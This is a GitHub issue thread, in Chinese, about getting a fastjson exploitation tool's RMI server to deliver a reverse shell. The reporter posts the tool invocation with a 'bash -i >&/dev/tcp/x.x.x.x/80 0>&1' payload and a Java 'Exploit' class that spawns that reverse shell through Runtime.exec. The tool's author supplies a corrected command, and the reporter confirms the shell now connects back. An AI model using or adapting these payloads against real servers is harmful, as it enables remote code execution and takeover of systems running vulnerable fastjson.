Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

使用您的jar包无法在linux执行bash -i >&/dev/tcp/x.x.x.x/80 0>&1 #6

Open
zhzyker opened this issue Jun 24, 2020 · 2 comments
Open

Comments

@zhzyker
Copy link

zhzyker commented Jun 24, 2020

当我启用RMI或者LDAP后:

java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 "bash -i >&/dev/tcp/x.x.x.x/80 0>&1"

RMI服务显示有请求,但是nc端没有连接。当我使用其他Payload时,可以进行反弹,例如:

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/x.x.x.x/80 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

由于您的工具已经打成了jar我,我无法分析查看。故提此issuse

@wyzxxz
Copy link
Owner

wyzxxz commented Jun 24, 2020

java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 "bash=bash -i >&/dev/tcp/x.x.x.x/80 0>&1" 试试

@zhzyker
Copy link
Author

zhzyker commented Jun 28, 2020

反弹shell一切正常,再次感谢作者

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants